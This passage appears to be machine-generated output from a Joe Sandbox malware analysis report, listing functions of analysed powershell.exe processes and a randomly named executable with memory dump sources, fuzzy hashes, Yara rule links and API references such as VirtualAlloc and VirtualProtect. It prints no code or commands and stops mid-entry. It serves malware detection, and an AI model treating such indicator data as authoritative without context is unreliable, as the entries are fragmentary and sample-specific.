Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bafe9d38de45dead31391d672c0fb39586947b75276171f985935b4c3a3b50d2
Instruction ID: 4d59c38e1fdf5104dcf80bb9b0b75de6579bc0c2db1c3352ba2da893301dd192
Opcode Fuzzy Hash: bafe9d38de45dead31391d672c0fb39586947b75276171f985935b4c3a3b50d2
Instruction Fuzzy Hash: F441F532B0EA8D0FE7B9E76854606B877D1EF84220B1A01FED45EC72A7EE15AD018345

Function 00007FFD9B8DEE20 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2953930069.00007FFD9B8DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b8dd000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae76aa6c1770c4feed6dcb408f16507d0a174564bda8701479e33a47f7a6758
Instruction ID: 909c0407f38644636fe59a42808244f6be174ae47d0735abe4cab84eee71d04e
Opcode Fuzzy Hash: cae76aa6c1770c4feed6dcb408f16507d0a174564bda8701479e33a47f7a6758
Instruction Fuzzy Hash: 4341367040EBC44FD7578B399855A523FF0EF57321B0A06EFD088CB5A3D629A846C7A2

Function 00007FFD9B9F9797 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2961401692.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59cfa342d8554e1323c86027cbabdae1dbe0d459a0610b05193a3fc2b39d3dd4
Instruction ID: bd41ec0a5c9249990a7e3bc63e14cb5ed3e4cf93315e69bb7724103ccd2b222c
Opcode Fuzzy Hash: 59cfa342d8554e1323c86027cbabdae1dbe0d459a0610b05193a3fc2b39d3dd4
Instruction Fuzzy Hash: 2831C831A1CB4C5FDB18EB5CA846AE97BE0FB59321F00422FE449D3252CB71A855CBC6

Function 00007FFD9BAC40BF Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2968426549.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71de891296f2632b51db950f1abc03021afccc06c2512999eca760ca4e182865
Instruction ID: 8b7eebda9cc87db6735d652ff9b667c8d8f2b0c3e647c85d3514f9742aeac80b
Opcode Fuzzy Hash: 71de891296f2632b51db950f1abc03021afccc06c2512999eca760ca4e182865
Instruction Fuzzy Hash: EF21C132B0EA8B0FE7B9EB5C446257467D2EF61220B5A10BED09EC71F2DE18ED048305

Function 00007FFD9BAC43BC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2968426549.00007FFD9BAC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9bac0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09e5a665dc43f01e54cd100c53e14987d7431ae6240aebf7a4cec0bc9a711448
Instruction ID: 3b94cd12925a35f311227c319ca3f55daa527db903d5d2bbc15742e7ccf8320d
Opcode Fuzzy Hash: 09e5a665dc43f01e54cd100c53e14987d7431ae6240aebf7a4cec0bc9a711448
Instruction Fuzzy Hash: 3B11BF32A0E9890FE7B4E75894605B87AD1EF80220B5A00FED45DC72B6DD55AD008344

Function 00007FFD9B9F33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2961401692.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 672cddce3b61fd07d14acf0d5ff0c6c5c9905a2842d53f114a6d1ab46604d338
Instruction ID: 4dd6f5e87c23be5727fba137d59d1ad777011c451dbc05b8ab661a33166cf41a
Opcode Fuzzy Hash: 672cddce3b61fd07d14acf0d5ff0c6c5c9905a2842d53f114a6d1ab46604d338
Instruction Fuzzy Hash: B501677121CB0C4FD748EF0CE451AA5B7E0FB95364F50056DE58AC36A5DB36E882CB45

Function 00007FFD9B9F9CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2961401692.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce0bca794b0e483338a89cbbf4e62d33a9821968d6026cdcb8289f759f80a80f
Instruction ID: c630169e8ee464e73adae2b405ebde2e1267bbc3402618be6aa3f81b43e36195
Opcode Fuzzy Hash: ce0bca794b0e483338a89cbbf4e62d33a9821968d6026cdcb8289f759f80a80f
Instruction Fuzzy Hash: 24F0243181868D4FEB4AEF2888294D57FA0EF26320F15029BE448C70B2DB649958CB92

Non-executed Functions

Function 00007FFD9B9F8BFA Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

N_^F, xrefs: 00007FFD9B9F8C6A
N_^6, xrefs: 00007FFD9B9F8BFA
N_^I, xrefs: 00007FFD9B9F8C72
N_^J, xrefs: 00007FFD9B9F8C7A
N_^<, xrefs: 00007FFD9B9F8C2A

Memory Dump Source

Source File: 00000018.00000002.2961401692.00007FFD9B9F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B9F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ffd9b9f0000_powershell.jbxd

Similarity

API ID:
String ID: N_^6$N_^<$N_^F$N_^I$N_^J
API String ID: 0-4116931533
Opcode ID: 96725cc96c0d45b83616c1728daf5a7ad218922735d25ec7bec5547ac2272062
Instruction ID: 5cd5b64cbfb0d6f9ee547f577b423769bb94c1642fd261d6b9219aae30a127de
Opcode Fuzzy Hash: 96725cc96c0d45b83616c1728daf5a7ad218922735d25ec7bec5547ac2272062
Instruction Fuzzy Hash: 462124777084265FE30677EDBCA09D87780DB9427674A01B3D369CF543D916688B87C1

Analysis Process: powershell.exePID: 8068, Parent PID: 7580COMMON

Executed Functions

Function 00007FFD9BAF6605 Relevance: .4, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2866975716.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9baf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dd3b43a33b319e67a3eca3a83bf658d66c586d68b7f8dce85fd4f5626e4c8af
Instruction ID: fc680a89315a4f4777e01a38b0dcae483903fa9fc086671dffcf00c84bee3110
Opcode Fuzzy Hash: 3dd3b43a33b319e67a3eca3a83bf658d66c586d68b7f8dce85fd4f5626e4c8af
Instruction Fuzzy Hash: 77D12532B0EB8E0FEBA59BAC48655B57FA1EF56310B0901FED49DCB0E3D958A805C341

Function 00007FFD9BA2B71C Relevance: .3, Instructions: 288COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2858848769.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9ba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20cdf1255ebba025503a311bd328a05d29c26b50f32893b01eb72b49f1614881
Instruction ID: 0d7169426eab7b6747c2957362130fd431afb578c95cece6cdded3d733032ebf
Opcode Fuzzy Hash: 20cdf1255ebba025503a311bd328a05d29c26b50f32893b01eb72b49f1614881
Instruction Fuzzy Hash: 1F81483160DB4C4FD799DB5CC895AB57BE0EF9A320F1401BED08EC71A3DA65A846CB41

Function 00007FFD9BAF4073 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2866975716.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9baf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1cd233dc249954ead2e4bacd988c57a51a483f1a3149f79cd14473ada063fa1
Instruction ID: 3184f5c59297ce8b7b729016c14680ea47804019f2f2b036a07bbf5641deba99
Opcode Fuzzy Hash: d1cd233dc249954ead2e4bacd988c57a51a483f1a3149f79cd14473ada063fa1
Instruction Fuzzy Hash: 90511632B0EB4A0FE7A99B5D44615B47BD2EF95210B1A00BFC15EC72B7DE18EC058345

Function 00007FFD9BA29718 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2858848769.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9ba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0e74aaa708007b74ed743ad0f5f76d8b02f9685a443d10569e9882ed46fe276
Instruction ID: b8a5df78e0ba0f693127a206c951b0d41926227c96a97e8d711d1205326f19c2
Opcode Fuzzy Hash: f0e74aaa708007b74ed743ad0f5f76d8b02f9685a443d10569e9882ed46fe276
Instruction Fuzzy Hash: F8416B71E0EA884FEB189F5C9C5A6A87FE0FB95710F14417FD09887293DA60AD05CBC2

Function 00007FFD9BAF4370 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2866975716.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9baf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bb29106f5863242a9b47e6013093d5f71cd209b2745fd256277f55a33840ce5
Instruction ID: 4f30fce4d1b5406d00a300bc323820a6ed82a4491178f33bf3ee3b173dd31671
Opcode Fuzzy Hash: 1bb29106f5863242a9b47e6013093d5f71cd209b2745fd256277f55a33840ce5
Instruction Fuzzy Hash: 4F41E332B0EB8D0FEBB9D76894605F47BD1EF84220B0A01BED45EC71A7EE15AD058341

Function 00007FFD9B90ED40 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2850566585.00007FFD9B90D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B90D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9b90d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e1af1eeecde9dbaf1a4ff7e1c5bc3e4ec6b3d4562762cbfd11b46092fea819b
Instruction ID: 219a390563db3ee3882d4598a8349022f68ab8c376359e531f512df29ee17c83
Opcode Fuzzy Hash: 2e1af1eeecde9dbaf1a4ff7e1c5bc3e4ec6b3d4562762cbfd11b46092fea819b
Instruction Fuzzy Hash: 2041287181EBC45FE7568B2898559523FF0EF53220B1A01DFD0C8CB1A3D629A846C7A2

Function 00007FFD9BAF40BF Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2866975716.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9baf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f19ea3756c337a1a4d318b8e05116902134446db4a1c106d3e9a8e6ed893630d
Instruction ID: 2ea40b7b1c54013ba64707403fb69ffac9250286b9b4eeba3bad2d29ba0830c4
Opcode Fuzzy Hash: f19ea3756c337a1a4d318b8e05116902134446db4a1c106d3e9a8e6ed893630d
Instruction Fuzzy Hash: 4621BF22B0EB8B0FE7B99B5D45625B46AD2EF61210B5A00BED05EC71F2DE18ED058305

Function 00007FFD9BAF43BC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2866975716.00007FFD9BAF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9baf0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf94f26bdb72b7c14cd534410e289c893f342c14a356a06b24575fedbb1463a2
Instruction ID: 0d0bae60dbe45156a03e57b31ffa75846d8cb4693969b34c719cd07d49eb3316
Opcode Fuzzy Hash: bf94f26bdb72b7c14cd534410e289c893f342c14a356a06b24575fedbb1463a2
Instruction Fuzzy Hash: AE11BC32B0FA8A0FE7B5DB6984605B87AD1EF40220B5A01BED46EC71B6DE59AD048341

Function 00007FFD9BA233B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2858848769.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9ba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: ef0cfff55408565f3f2370646d3c2087cfd556061bc4c6768bd386db64d07b43
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: B901A73020CB0C4FD748EF0CE051AA5B3E0FB85324F10056DE58AC36A5DB32E882CB41

Function 00007FFD9BA29CF8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2858848769.00007FFD9BA20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffd9ba20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f44e094252406662c1e7a8b3e7cfe3f9d35e282452c1b66e49475c2bc90d1bc2
Instruction ID: d44dba6762f8e6b16f5fbc3e01229f0d482b507801f98f081201fd5cfd5338be
Opcode Fuzzy Hash: f44e094252406662c1e7a8b3e7cfe3f9d35e282452c1b66e49475c2bc90d1bc2
Instruction Fuzzy Hash: 29F0243180868D4FDB06EF2888294D57FA0EF26310B0502ABE848C70B2DB649558CB82

Analysis Process: uAsLgsGzSk.exePID: 1868, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9BA2BA1D Relevance: 1.3, Instructions: 1291
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA2B000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA2B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba2b000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d98b0bb54cabcc76f10b08c584a1e87e5f4f8b131f1b35175ace9b79dcdb164
Instruction ID: 1f9ee8072fcfa11aad20f62902c0b0272b6f007602f1dda02925ae78591ee211
Opcode Fuzzy Hash: 7d98b0bb54cabcc76f10b08c584a1e87e5f4f8b131f1b35175ace9b79dcdb164
Instruction Fuzzy Hash: BCB2F070A4991D8FDBA8EF58C8A5BA9B7B1FF58300F1441E9D04DD3296CA75AE81CF40

Function 00007FFD9BA59A40 Relevance: .5, Instructions: 451
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a44fe80754948753998d36280298a46c94cd70cf8b1873dad56534774a4d7cd5
Instruction ID: be08885d8bb4a79dcf86a967e7a279fe2efd8d989aa0d101a01042dcf23aaec0
Opcode Fuzzy Hash: a44fe80754948753998d36280298a46c94cd70cf8b1873dad56534774a4d7cd5
Instruction Fuzzy Hash: DD120470E0421D8FDB18DFE8C495AEDBBF2FF48300F148569D41AEB259DA74AA85CB50

Function 00007FFD9BA10D70 Relevance: .3, Instructions: 296
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba10000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 495f97ee652bc317c079657ed2911e0117d417c9732689de1c2f1e32c00264e2
Instruction ID: 4f3b625f9e77ec66fb297233ee2a3ee790a237253a7831333e642075be9dc5ff
Opcode Fuzzy Hash: 495f97ee652bc317c079657ed2911e0117d417c9732689de1c2f1e32c00264e2
Instruction Fuzzy Hash: D8A15BB1A1EA9D8EE798DB6CC8657AD7FE1EF59310F0401BED04AD72D6CA752801C740

Function 00007FFD9BA221CE Relevance: 1.7, APIs: 1, Instructions: 193
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFD9BA2230A

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA16000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA16000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba16000_uAsLgsGzSk.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bdcdfc0c80a75c3ca64641de7ed6b1c099e16addb301bcbfdfe41cc8d6da7241
Instruction ID: 0c51bc7732fbeff26c47760fd221c6510f8781d73380b4830906a78a45ae84c2
Opcode Fuzzy Hash: bdcdfc0c80a75c3ca64641de7ed6b1c099e16addb301bcbfdfe41cc8d6da7241
Instruction Fuzzy Hash: 6F518D70D0974D8FDB54DFA8C885AEDBBF0FB6A300F1042AAD449E3255DB74A885CB80

Function 00007FFD9BA23BBD Relevance: 1.4, APIs: 1, Instructions: 189
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 00007FFD9BA23CDF

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA16000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA16000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba16000_uAsLgsGzSk.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 04334b865bcade119506b8c18ccbf3942e995c234a713e6bf58307cde0311a0b
Instruction ID: ebab0df94e77fc39c41d71e5df42a9d147204d78cbb29e1d7ba7372027bba743
Opcode Fuzzy Hash: 04334b865bcade119506b8c18ccbf3942e995c234a713e6bf58307cde0311a0b
Instruction Fuzzy Hash: 3E513A70908A5C8FDF94EF68C845BE9BBF1FB69310F1081AAD04DE3255CB71A9858B80

Function 00007FFD9BA26772 Relevance: 1.3, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-, xrefs: 00007FFD9BA267FE

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 974ea4011422f4116ae2bb0d4fc074aafd6595abf53421d61ced30fb13771895
Instruction ID: 35bf9bc234e66a0cf24edf75e1cdd2b099ba5afd4a1efe16d54f4aaab46f4b35
Opcode Fuzzy Hash: 974ea4011422f4116ae2bb0d4fc074aafd6595abf53421d61ced30fb13771895
Instruction Fuzzy Hash: D7215C70E4A51E8FDBB8DB58C854BF877B4EB18300F1100B9D50DA36A1DEB42AC09F40

Function 00007FFD9BA2696B Relevance: 1.3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

-, xrefs: 00007FFD9BA267FE

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 41b9186abcca438b81178a92608d24544d3609f42b168350bf853d4576f439ca
Instruction ID: 99d4c08ba15629872c0d5cf27b230d71f9169ff68b8d2a2d5ee46daf0c4740a4
Opcode Fuzzy Hash: 41b9186abcca438b81178a92608d24544d3609f42b168350bf853d4576f439ca
Instruction Fuzzy Hash: 5301E970E4555E8FDBB5DB188855BE8B6B4EB58300F1141FAD01DD2291DAB42AC48F40

Function 00007FFD9BA5CC2D Relevance: .4, Instructions: 415
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7d0ebd54b5a8d91333b3168cc1c6a525eb599334f7775f694a63bec31addc7a
Instruction ID: 65be86cbd4e996b436496ecff7f02f993eb5cce6600db5cb02fd6677844e34eb
Opcode Fuzzy Hash: e7d0ebd54b5a8d91333b3168cc1c6a525eb599334f7775f694a63bec31addc7a
Instruction Fuzzy Hash: F6F18F71E1965D8FDBA8DB98C8A17ACB7E1FF58300F0541B9D40DD3296DEB86A84CB40

Function 00007FFD9BA5CD9D Relevance: .2, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e02f6b447574086b2552dde732e73fd73ec8d46357c5b6ec4a57352ea4d1083
Instruction ID: 37475d5ceadd158c73c2114a0c0591fccb1e300cc519c7a990d93efaa33a6f2c
Opcode Fuzzy Hash: 2e02f6b447574086b2552dde732e73fd73ec8d46357c5b6ec4a57352ea4d1083
Instruction Fuzzy Hash: 6B715E71E19A4D8FDB98EF98C8A1BACB7A2FF54300F0541B9D00ED7296DE756984CB00

Function 00007FFD9BA28AB9 Relevance: .1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0391782144bf13edf9e1f9fdba0d307acd1f81dc23973760149d4c20b98b03e7
Instruction ID: cd727e46226d3f5d9f93432861723682e68eb1e487304b17cb7c30f814943e92
Opcode Fuzzy Hash: 0391782144bf13edf9e1f9fdba0d307acd1f81dc23973760149d4c20b98b03e7
Instruction Fuzzy Hash: 6E51A070A0964D9FCF84EF98D494AED7BF1FF59310F0A01AAE409E7261D674E990CB90

Function 00007FFD9BA10C25 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba10000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe096cff44d5dd731b6d33f3c448cd761673a55c54afbe91cd39922126973986
Instruction ID: e84a7fc606b28a69d10ba131925fbb3ac786ca04a94d0be55680d5afd7bdfbb6
Opcode Fuzzy Hash: fe096cff44d5dd731b6d33f3c448cd761673a55c54afbe91cd39922126973986
Instruction Fuzzy Hash: 1D313331F0E68E8BE761ABA8C8212FD77A0EF51310F051676C155962E2DAB82605CB85

Function 00007FFD9BA28749 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA26000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA26000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba26000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30a228b4fd89159208f155a4a10ac489afa68cfdf68280670f983ea55e4ac7c4
Instruction ID: f8f23d9679ebee565bff1f665b7ebd108798b9ff2e997a15c299cff69d0db9bb
Opcode Fuzzy Hash: 30a228b4fd89159208f155a4a10ac489afa68cfdf68280670f983ea55e4ac7c4
Instruction Fuzzy Hash: B2317C34A0964D8FDB54DF58C8A5AEE7BF1FF58314F06026AE849E3291CB74E940CB81

Function 00007FFD9BA5B0F0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb642a559b9e5a7be907d992889436f73da6c705ea3a8abf4f5410223755e40a
Instruction ID: 1f6c650b775bd1e72ddd8c33366cbb389a2352c0acbba33394640d028d41b2dd
Opcode Fuzzy Hash: eb642a559b9e5a7be907d992889436f73da6c705ea3a8abf4f5410223755e40a
Instruction Fuzzy Hash: DE31F570A19A4D9FDB94EFD8C4A5ABDBBF1FF68301F44017AD409D72A1DAB46980CB40

Function 00007FFD9BA5B494 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d766b54e3743b300f8f536707fb9079af159f6a7d9402eeb71f74bf8f326cfb7
Instruction ID: 99b929e44231023c04da4ae9b870bf8ef9c064466ab6e79ce237eac8bf3622af
Opcode Fuzzy Hash: d766b54e3743b300f8f536707fb9079af159f6a7d9402eeb71f74bf8f326cfb7
Instruction Fuzzy Hash: 6F311870E0960D8AEB78DF88C4A57FCB7B1FF59301F5141BAD40E93291CAB82A81CB01

Function 00007FFD9BA1116D Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba10000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b70e28d4779d55f8ced1e93b8ab66020acd2193de13170828e7e19467b73a396
Instruction ID: a81b55ab434de1b14c729d98a4adb5f2d605b2955f1e97fa69ec9f771a25c513
Opcode Fuzzy Hash: b70e28d4779d55f8ced1e93b8ab66020acd2193de13170828e7e19467b73a396
Instruction Fuzzy Hash: E521EE31A1991E8FEB94EBA8C8A49BDB7F1FF68300B11057AD409D72A1DF74A941CB40

Function 00007FFD9BA61B30 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.3017140408.00007FFD9BA58000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BA58000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9ba58000_uAsLgsGzSk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c34171a4de6b9208c13914fbf8539c74944b51af29787454375ca65b55283332
Instruction ID: e9d2c9635a9c6b0a4bb2359d9da28b9d57e5c8cf1d474906790bb9543f2ea603
Opcode Fuzzy Hash: c34171a4de6b9208c13914fbf8539c74944b51af29787454375ca65b55283332
